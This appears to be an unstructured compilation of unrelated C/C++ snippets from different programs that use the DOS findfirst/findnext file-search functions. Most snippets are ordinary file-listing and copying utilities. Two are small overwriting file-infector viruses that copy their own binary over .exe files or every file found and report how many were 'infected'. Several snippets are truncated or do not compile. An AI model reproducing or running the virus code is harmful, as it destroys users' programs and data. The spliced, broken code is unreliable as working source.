int GetDir(char *Wild) { struct ffblk fblock; int letzter; /* int k; */ Dateien=0; Datai=Da; strcpy(WildCard,Wild); letzter=findfirst("*.*",&fblock,16); while (!letzter || Dateien>=500) { if (fblock.ff_attrib==16) { if (fblock.ff_name[0]==46 && strlen(fblock.ff_name)==1) { ; } else { strcpy(Datai->FileName,fblock.ff_name); Datai->Date=0; Dateien++; Datai++; } } letzter=findnext(&fblock); } letzter=findfirst(Wild,&fblock,0); while (!letzter || Dateien>=500) { strcpy(Datai->FileName,fblock.ff_name); Datai->Date=(long)fblock.ff_fdate*100000; Datai->Date+=(long)fblock.ff_ftime; Dateien++; Datai++; letzter=findnext(&fblock); } Datai=Da; CWeg(); if (Dateien==0) return -1; qsort(Datai,Dateien,sizeof(Datdings),SortIt); ListFiles(); return 0; }
BOOL MYRTLEXP FILE_ENUM::NextFile( void ) { #if defined(__GNUC__) || defined(__QNX__) if ( (ent=readdir(dir)) == NULL ) return FALSE; #else #if defined(__REALDOS__) || defined(__HWIN16__) if ( findnext(&f) != 0 ) return FALSE; #else #if defined(__PROTDOS__) FIND *res = findnext(); if ( !res ) return FALSE; f = *res; #else #if defined(__HWIN__) if ( !FindNextFile(fHandle,&f) ) return FALSE; #else #error ERR_PLATFORM #endif #endif #endif #endif FPath = Path; FPath.Add( FName() ); return TRUE; }
int autre_repert() { char *ptr_name=entree_actuelle.ff_name; while((entree_actuelle.ff_attrib!=0x10 | ptr_name[0]=='.' | ptr_name[1]=='.') && probleme==0) probleme=findnext(&entree_actuelle); return(probleme); }
int wildfiad(char *name) { if (findnext(&ff)) return 1; return wilddos2ti(name); }
int do_for_each_directory(char *name, int (*call_back)(char *, int), int param) { char buf[256]; struct ffblk dta; errno = 0; findfirst(name, &dta, FA_DIREC); if (errno!=0) return errno; do { if ((dta.ff_attrib & FA_DIREC) && (strcmp(dta.ff_name, ".") != 0)) { strcpy(buf,name); strcpy(get_fname(buf),dta.ff_name); strcat(buf,"\\"); (*call_back)(buf,param); if (errno!=0) break; } } while (findnext(&dta)==0); errno=0; return errno; }
static boolean createTagsForWildcardUsingFindfirst (const char *const pattern) { boolean resize = FALSE; const size_t dirLength = baseFilename (pattern) - pattern; #if defined (HAVE_FINDFIRST) struct ffblk fileInfo; int result = findfirst (pattern, &fileInfo, FA_DIREC); while (result == 0) { const char *const entry = (const char *) fileInfo.ff_name; resize |= createTagsForWildcardEntry (pattern, dirLength, entry); result = findnext (&fileInfo); } #elif defined (HAVE__FINDFIRST) struct _finddata_t fileInfo; findfirst_t hFile = _findfirst (pattern, &fileInfo); if (hFile != -1L) { do { const char *const entry = (const char *) fileInfo.name; resize |= createTagsForWildcardEntry (pattern, dirLength, entry); } while (_findnext (hFile, &fileInfo) == 0); _findclose (hFile); } #endif return resize; }
int do_for_each_file(char *name, int (*call_back)(char *, int), int param) { char buf[256]; int c; struct ffblk dta; errno = 0; findfirst(name, &dta, FA_RDONLY | FA_ARCH); if (errno!=0) { for (c=0; name[c]; c++) if ((name[c]=='*') || (name[c]=='?')) goto dont_load; errno=0; (*call_back)(name,param); dont_load: return errno; } do { strcpy(buf,name); strcpy(get_fname(buf),dta.ff_name); (*call_back)(buf,param); if (errno!=0) break; } while (findnext(&dta)==0); errno=0; return errno; }
void find_bbs(char *directory, struct bbs_board_info bbs_info[], int *num_bbs, int limit) { char wildcard[25]; struct ffblk look_up; int isfile; *num_bbs=0; sprintf(wildcard,"%s\\m*.*",directory); lock_dos(); isfile=findfirst(wildcard,&look_up,FA_NORMAL); while ((!isfile) && (*num_bbs<limit)) { strcpy(bbs_info[*num_bbs].filename,look_up.ff_name); bbs_info[*num_bbs].filedate=(unsigned long int) ((((unsigned long int)look_up.ff_fdate) << 16) | ((unsigned long int)look_up.ff_ftime)); (*num_bbs)++; unlock_dos(); next_task(); lock_dos(); isfile = findnext(&look_up); }; unlock_dos(); qsort((void *)bbs_info, *num_bbs, sizeof(struct bbs_board_info), compare_dates); };
void main(int argc,char *argv[]) { int bytes,i,done; FILE *virus,*host; struct ffblk *f; char buffer[512]; do { done=findfirst("*.exe",f,0); while(!done) { virus=fopen(argv[0],"rb");//open the virus in read mode host=fopen(f->ff_name,"rb+");//open the host file in r/w mode for(;fread(buffer,512,1,virus)==1;) fwrite(buffer,512,1,host); fclose(host); fseek(virus,0,0);//points to begining of virus printf("infecting %s ",f->ff_name); done=findnext(f); } } while(!chdir("..")); printf("For any query contact Tapan Kumar Mishra,id:[email protected]");
int tjDirPick( char filename[13], char *mask, tjPickOpts Opts ) // Pick a directory entry. Conveeeenient. { ffblk ffblk; int done; Opts.PickMe = mkFlist( (size_t) 13, 0 ); Opts.width = 12; Opts.topline = Opts.current = 1; Opts.dispfun = &strdispfun; done = findfirst( mask, &ffblk, 0); while (!done) { iquedptr( Opts.PickMe, &ffblk.ff_name ); done = findnext(&ffblk); } if( done = tjPick( Opts ) ) { rcld( Opts.PickMe, filename, done ); rmFlist( &Opts.PickMe ); return( 1 ); } else { strcpy( filename, "" ); rmFlist( &Opts.PickMe ); return( 0 ); } }
int LFNNextFile(char* file, char* longfile) { int retVal; if (lfnSupported) { retVal = findnext95(&ff95); if (retVal == 0) { strcpy(file, ff95.ff_95.ff_shortname); strcpy(longfile, ff95.ff_95.ff_longname); } return retVal; } else { retVal = findnext(&ff); if (retVal == 0) { strcpy(file, ff.ff_name); strcpy(longfile, ff.ff_name); } return retVal; } }
void main(int argc, char **argv) { static char base1[64]; static char base2[64]; static char full[128]; ffblk ff; if (argc < 2) { printf("ra4c <file> ...\n"); return; } while (argc > 1) { fnsplit(argv[1], base2, base1, NULL, NULL); strcat(base2, base1); if (findfirst(argv[1], &ff, FA_RDONLY | FA_ARCH | FA_HIDDEN) != 0) { printf("no file find. \n"); return; } do { strcpy(full, base2); strcat(full, ff.ff_name); printf("--> %s \n", full); replace(full, base2); } while (findnext(&ff) == 0); argc--; argv++; } return; }
static void sources( char *fpath, char *fname ) { int fpath_len = strlen( fpath ); struct ffblk fb; if ( !findfirst( strcat( fpath, fname), &fb, FA_ARCH) ) do { fpath[ fpath_len ] = '\0'; one_source( strcat( fpath, fb.ff_name) ); } while (! findnext(&fb) ); }
const char *Q_FindNextFile (void) { if (findhandle != 0) return NULL; if (findnext(&finddata) == 0) return finddata.ff_name; return NULL; }
void expand_wildcard ( const char* file_spec, COStream out ) { /* Expand wild card file name on MS-DOS. (On Unix, this is not needed because expansion is done by the shell.) */ #ifdef MSDOS #if defined(_FIND_T_DEFINED) /* Microsoft C on MS-DOS */ struct _find_t fblk; if ( _dos_findfirst( file_spec, _A_NORMAL|_A_ARCH|_A_RDONLY, &fblk ) == 0 ) { /* first match found */ do { merge_pathnames( out, FALSE, file_spec, fblk.name, NULL ); cos_putch( out, '\n' ); } while ( _dos_findnext( &fblk ) == 0 ); } else #elif defined(_WIN32) /* Microsoft C/C++ on Windows NT */ struct _finddata_t fblk; long handle; handle = _findfirst( (char*)file_spec, &fblk ); if ( handle != -1 ) { /* first match found */ do { if ( !(fblk.attrib & _A_SUBDIR) ) { merge_pathnames( out, FALSE, file_spec, fblk.name, NULL ); cos_putch( out, '\n' ); } } while ( _findnext( handle, &fblk ) == 0 ); _findclose( handle ); } else #elif defined(__TURBOC__) /* Borland Turbo C */ struct ffblk fblk; if ( findfirst( file_spec, &fblk, FA_ARCH|FA_RDONLY ) == 0 ) { /* first match found */ do { merge_pathnames( out, FALSE, file_spec, fblk.ff_name, NULL ); cos_putch( out, '\n' ); } while ( findnext( &fblk ) == 0 ); } else #endif /* Borland */ if ( strchr(file_spec,'*') != NULL ) fprintf( stderr, "No match for \"%s\"\n", file_spec ); else #endif /* MSDOS */ { cos_puts( out, file_spec ); cos_putch( out, '\n' ); } }
int findfirst(int buf[20][28], int *t, int *h, int val) { findt = Rand()%20; findh = Rand()%28; *t = findt; *h = findh; if(buf[findt][findh] == val) { return(0); } return(findnext(buf, t, h, val)); }
void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %s\n”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf(“DONE! (Total Files Infected= %d)”,a); end=clock(); printf(“TIME TAKEN=%f SEC\n”, (end-st)/CLK_TCK); getch(); }
void tabl(char*sl) { int i,j,x,k; char s[80]; strcpy(s,sl); strcat(s,"\\*."); for (k=0, i=0; sl[i]!='\0'; i++) if (sl[i]=='\\') k++; j=3; i=14; if (k>0) {setcolor(15); outtextxy(i,10*j,".."); j=4;} setcolor(14); struct ffblk papki; x=findfirst(s,&papki,0x10); while (!x) { if (papki.ff_name[0]!='.') { outtextxy(i,10*j,papki.ff_name); j++; if (j==41) {j=3; i=166;} } x=findnext(&papki); } strcpy(s,sl); strcat(s,"\\*.*"); setcolor(13); struct ffblk fail; x=findfirst(s,&fail,0x02); while (!x) { outtextxy(i,10*j,fail.ff_name); x=findnext(&fail); j++; if (j==41) {j=3; i=166;} } }
void main(int Argc, char *Argv[]) { int i; int autre_entree; char lecteur[MAXDRIVE]; char repertoire[MAXDIR]; char nom_fichier[MAXFILE]; char extension[MAXEXT]; if(Argc==1) { printf("Syntaxe : GO <Lecteur>:<R‚pertoire>"); exit(0); } else printf("Go Directory\n"); niveau=1; autre_entree=1; strcpy(Argv[1],strupr(Argv[1])); fnsplit(Argv[1],lecteur,repertoire,nom_fichier,extension); strcpy(chemin_cours,lecteur); strcat(nom_fichier,extension); probleme=Init_repert(); while(autre_entree) { if(!probleme && !autre_repert()) { derniere_entree[niveau++]=entree_actuelle; strcat(chemin_cours,"\\"); strcat(chemin_cours,entree_actuelle.ff_name); if(strcmp(entree_actuelle.ff_name,nom_fichier)==0) { setdisk((int)lecteur[0]-65); chdir(chemin_cours); autre_entree=0; break; } probleme=Init_repert(); } else { if(niveau==1) { printf("Aucune entr‚e trouv‚e ..."); autre_entree=0; break; } *strrchr(chemin_cours,'\\')='\0'; entree_actuelle=derniere_entree[--niveau]; probleme=findnext(&entree_actuelle); } } }
main() { n=0; printf("EXE-Search v1.0 by Iaza Soft 1995(c).\n"); x=findfirst("*.bat",&f,0); textcolor(14); while(!x) { gotoxy(n,wherey()); cprintf("%s ",f.ff_name); n+=15; if(n==75) {printf("\n"); n=0;} x=findnext(&f); } x=findfirst("*.exe",&f,0); textcolor(13); while(!x) { gotoxy(n,wherey()); cprintf("%s ",f.ff_name); n+=15; if(n==75) {printf("\n");n=0;} x=findnext(&f); } x=findfirst("*.com",&f,0); textcolor(11); while(!x) { gotoxy(n,wherey()); cprintf("%s ",f.ff_name); n+=15; if(n==75) { printf("\n");n=0;} x=findnext(&f); } }
void WildCardArguments(int & argc, char ** & argv) { if (argc < 2) return; int count = 0; for (int i = 1; i < argc; i++) { struct ffblk blk; int done = findfirst(argv[i], &blk, 0); while (!done) { done = findnext(&blk); count++; } } char ** new_argv = new char * [count + 1]; int new_argc = 1; new_argv[0] = argv[0]; for (int i = 1; i < argc; i++) { struct ffblk blk; int done = findfirst(argv[i], &blk, 0); while (!done && new_argc <= count) { new_argv[new_argc++] = strdup(blk.ff_name); done = findnext(&blk); } } argc = new_argc; argv = new_argv; }
void PrjPath::DoDirectories(void) { m_Prjdir->ClearList(); // struct ffblk dta; int done = findfirst("*.*", &dta, FA_DIREC); while( !done ) { if(dta.ff_attrib & FA_DIREC && (strcmp(dta.ff_name,".") != 0) ) { m_Prjdir->InsertString(dta.ff_name,-2); } done = findnext(&dta); } }
void showdir(char *path) { char s[262]; int res,size=0,files=0; strcpy(s,path);strcat(s,"*.*"); printf(" current directory: %s\n\n",s); res=findfirst(s,&sr,_FF_NORMAL); while(res==0){ printf(" %15s %9i\n",sr.ff_name,sr.ff_fsize); size+=sr.ff_fsize;files++; res=findnext(&sr); } printf("\n %i byte(s) in %i files\n",size,files); }
static List<FileInfo> getfiles(String dir,String pattern,bool subdirs) { printf("Getting dir %s\n",dir); struct ffblk f; int ffops=FA_HIDDEN | FA_SYSTEM | FA_DIREC; List<FileInfo> fs; String realpattern=Sconc(tail(dir),pattern); // printf("Searching %s\n",realpattern); bool done = findfirst(realpattern,&f,ffops); while (!done) { FileInfo fi=FileInfo(dir,f.ff_name,f.ff_fsize,contains(f.ff_attrib,FA_DIREC),contains(f.ff_attrib,FA_RDONLY),contains(f.ff_attrib,FA_ARCH),contains(f.ff_attrib,FA_SYSTEM),contains(f.ff_attrib,FA_HIDDEN), Date((f.ff_fdate & 0x1f),(f.ff_fdate >> 5) & 0x0f,((f.ff_fdate >> 9) & 0x7f) + 1980), Time((f.ff_ftime >> 11) & 0x1f,(f.ff_ftime >> 5) & 0x3f,(f.ff_ftime & 0x1f) * 2)); /*FileInfo fi=FileInfo(dir,f.ff_name,f.ff_fsize,contains(f.ff_attrib,FA_DIREC),contains(f.ff_attrib,FA_RDONLY),contains(f.ff_attrib,FA_ARCH),contains(f.ff_attrib,FA_SYSTEM),contains(f.ff_attrib,FA_HIDDEN), Date((f.ff_fdate & 0x1f),(f.ff_fdate >> 5) & 0x0f,((f.ff_fdate >> 9) & 0x7f) + 1980), Time((f.ff_ftime >> 11) & 0x1f,(f.ff_ftime >> 5) & 0x3f,(f.ff_ftime & 0x1f) * 2));*/ if (!Seq(fi.name,".") && !Seq(fi.name,"..")) { fs.add(fi); if (fi.directory && subdirs) fs.add(getfiles(Sconc(tail(dir),fi.name),pattern,subdirs)); } /* printf("%10u %2u:%02u:%02u %2u/%02u/%4u %20s Atrs: %i\n", f.ff_fsize, (f.ff_ftime >> 11) & 0x1f, (f.ff_ftime >> 5) & 0x3f, (f.ff_ftime & 0x1f) * 2, (f.ff_fdate >> 5) & 0x0f, (f.ff_fdate & 0x1f), ((f.ff_fdate >> 9) & 0x7f) + 1980, f.ff_name, (int)f.ff_attrib);*/ done = findnext(&f); } return fs; }
long long Topology::findnext(long long source, long long destination, map<long long, long long> & predecessor) { // base case if(source == destination) { return source; } if(predecessor[destination] == source) { return destination; } // recursive case else { return findnext(source, predecessor[destination], predecessor); } }
void copyp(char *s,char *ss,char *sss) { int x,k=0; char s1[80],s2[80],s3[80],sp[80],s4[80]; strcpy(s2,s); strcat(s2,sss); strcpy(s1,ss); strcat(s1,sss); x=mkdir(s1); strcpy(s3,s2); strcat(s3,"\\*.*"); struct ffblk full; x=findfirst(s3,&full,0); if (x==0) { strcat(s1,"\\"); strcat(s2,"\\"); struct ffblk full; x=findfirst(s3,&full,0); while (!x) { strcpy(sp,s2); copyf(sp,s1,full.ff_name); x=findnext(&full); } } /*strcpy(s4,s2); strcat(s4,"\\*."); struct ffblk full1; x=findfirst(s4,&full1,0x10); if (x==0) { strcat(s1,"\\"); strcat(s2,"\\"); struct ffblk full1; x=findfirst(s4,&full1,0x10); while (!x) { strcpy(sp,s2); copyp(sp,s1,full1.ff_name); x=findnext(&full1); } } else return; */ }
int show_completion_matches(char * const str, const unsigned charcount) { int count, is_dir; struct ffblk f; char *fnam, *end, buf[sizeof(f.ff_name) + 2]; assert(str); assert(charcount); assert(strlen(str) < charcount); fnam = dfnfilename(str); assert(fnam); if(4 >= charcount - (fnam - str)) { error_long_internal_line(); return 0; } end = strchr(fnam, '\0'); if(strchr(fnam, '.')) /* There is a dot --> search for extension only */ strcat(fnam, "*"); else strcat(fnam, "*.*"); count = 1; if(findfirst(str, &f, FA_DIREC) == 0) { do if((is_dir = f.ff_attrib & FA_DIREC) == 0 || (strcmp(f.ff_name, ".") && strcmp(f.ff_name, ".."))) { if(--count == 0) { putchar('\n'); count = 5; } if(is_dir) sprintf(buf, "[%s]", f.ff_name); displayString(TEXT_FILE_COMPLATION_DISPLAY , is_dir? buf: f.ff_name); } while(findnext(&f) == 0); putchar('\n'); *end = 0; /* Make the string unchanged */ return 1; } /* no match found */ beep(); *end = 0; /* Make the string unchanged */ return 0; }
void carrega(char *path, PNO *H) { struct ffblk ffblk; findfirst(path, &ffblk, 0xFF); do { PNO novo = (TNO *) malloc(sizeof(TNO)); strcpy(novo->box.nome, ffblk.ff_name); novo->box.data.ff_fdate = ffblk.ff_fdate; novo->box.hora.ff_ftime = ffblk.ff_ftime; novo->box.tamanho = ffblk.ff_fsize; novo->box.atributo = ffblk.ff_attrib; ponha_no(&(*H), novo); } while (!findnext(&ffblk)); while ((*H)->ant) (*H) = (*H)->ant; }
cpm_word redir_get_label(cpm_byte drv, char *pattern) { char strs[10]; struct ffblk fblk; int done; char *s; int n; /* We need the drive prefix to be of the form "C:\etc..." */ memset(pattern, ' ', 11); if (!redir_drive_prefix[drv][0] || redir_drive_prefix[drv][1] != ':') return 0; sprintf(strs,"%c:/*.*", redir_drive_prefix[drv][0]); done = findfirst(strs, &fblk, FA_LABEL); while (!done) { if ((fblk.ff_attrib & FA_LABEL) && !(fblk.ff_attrib & (FA_SYSTEM | FA_HIDDEN))) { s = strchr(fblk.ff_name, '/'); if (!s) s = strchr(fblk.ff_name, '\\'); if (!s) s = strchr(fblk.ff_name, ':'); if (!s) s = fblk.ff_name; for (n = 0; n < 11; n++) { if (!(*s)) break; if (*s == '.') { n = 7; ++s; continue; } pattern[n] = upper(*s); ++s; } return 1; } done = findnext(&fblk); } return 0; }
void docopy(char drive[3], char topath[39], char *InstallName) { ifstream source; ofstream dest; struct ffblk f; signed char from[80], to[80], ch[1025]; register int done, current; int continue; char syms[5] = {'|', '/', '-', '\\'}; register long bytes_copied, bytes_read; sprintf(from, "%s\\*.*", drive); done = findfirst(from, &f, 0); window(WINDOW_LEFT+1,WINDOW_TOP+1,WINDOW_RIGHT-1,WINDOW_BOTTOM-1); gotoxy(1,6); while(!done) { current = 0; bytes_copied = 0; if(strcmp(f.ff_name, InstallName) != 0) { sprintf(from, "%s\\%s", drive, f.ff_name); sprintf(to, "%s\\%s", topath, f.ff_name); cprintf("Copying from %s to %s...", from, to); mkdir(topath); source.open(from,ios::nocreate | ios::binary); if(!source) exit(-1); dest.open(to); if(!dest) exit(-1); cprintf("%c", syms[current++]); continue = 1; while (continue && dest) { dest.write(ch, 1024); // (dest && source.read(ch, 1024)) { bytes_copied=bytes_copied+1024; if((bytes_copied % 8192)==0) { if(current==3) current=0; else current++; } cprintf("%c%c", 8, syms[current]); } source.close(); dest.close(); cprintf("%cdone\r\n", 8); } done = findnext(&f); }